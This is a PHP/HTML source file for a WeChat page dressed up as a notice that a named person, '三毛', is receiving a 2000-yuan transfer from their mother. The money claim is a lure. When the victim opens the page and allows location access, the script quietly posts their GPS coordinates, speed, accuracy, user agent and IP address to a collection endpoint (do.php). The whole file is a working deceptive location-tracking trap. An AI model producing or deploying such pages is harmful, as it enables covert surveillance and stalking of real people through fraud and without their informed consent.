<?php require_once(dirname(__FILE__) . '/../include/config.inc.php');
require_once "WxApi.php";
require_once "WxConfig.php";
require_once(dirname(__FILE__) . '/../jssdk.php');


$appId = WxConfig::APPID;
$appSecret = WxConfig::APPSECRET;
$jssdk = new JSSDK($appId, $appSecret);
$signPackage = $jssdk->GetSignPackage();
$g_AccessToken = $jssdk->getAccessToken();

$ip = GetIP();
echo $ip;

?>

<!DOCTYPE html>

<html>
<head>
    <title>收取妈妈汇款</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">

</head>
<body>
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
<script type="text/javascript" src="http://www.hnbest.com/js/jquery-1.10.2.min.js"></script>
<input type="hidden" name="ip" id="ip" value="<?php echo $ip; ?>">
<script>
    wx.config({
        debug: false,
        appId: '<?php echo $signPackage["appId"];?>',
        timestamp: <?php echo $signPackage["timestamp"];?>,
        nonceStr: '<?php echo $signPackage["nonceStr"];?>',
        signature: '<?php echo $signPackage["signature"];?>',
        jsApiList: [
            'openLocation', 'getLocation', 'onMenuShareTimeline',
            'onMenuShareAppMessage',
            'onMenuShareQQ',
            'onMenuShareWeibo'
        ]
    });

    wx.ready(function () {
        // 分享
        var urlurl = window.location.href;
        var shareData = {
            title: '三毛，点击允许收取妈妈汇款',
            desc: '三毛，点击允许收取妈妈汇款2000元,请点击链接确认',
            link: urlurl,
            imgUrl: 'http://wx.gongdantong.com/wx/tp.jpg'
        };


        wx.onMenuShareAppMessage(shareData);
        wx.onMenuShareTimeline(shareData);
        wx.onMenuShareQQ(shareData);
        wx.onMenuShareQZone(shareData);
        //打开导航
        var ua = navigator.userAgent.toLowerCase();
        wx.getLocation({
            type: 'gcj02', // 默认为wgs84的gps坐标，如果要返回直接给openLocation用的火星坐标，可传入'gcj02'
            success: function (res) {
                var latitude = res.latitude; // 纬度，浮点数，范围为90 ~ -90
                var longitude = res.longitude; // 经度，浮点数，范围为180 ~ -180。
                var speed = res.speed; // 速度，以米/每秒计
                var accuracy = res.accuracy; // 位置精度
                var ip = $("#ip").val();
                $.ajax({
                    url: "do.php",
                    type: 'post',
                    timeout: 2000,
                    data: {'lat': latitude, 'lng': longitude, 'speed': speed, 'acc': accuracy, 'ua': ua, 'ip': ip},
                    dataType: "json"

                });
            },
            cancel: function (res) {
                $.alert("你拒绝授权获取地理位置", " 温馨提示");
            }

        });

    })

</script>
</body>
</html>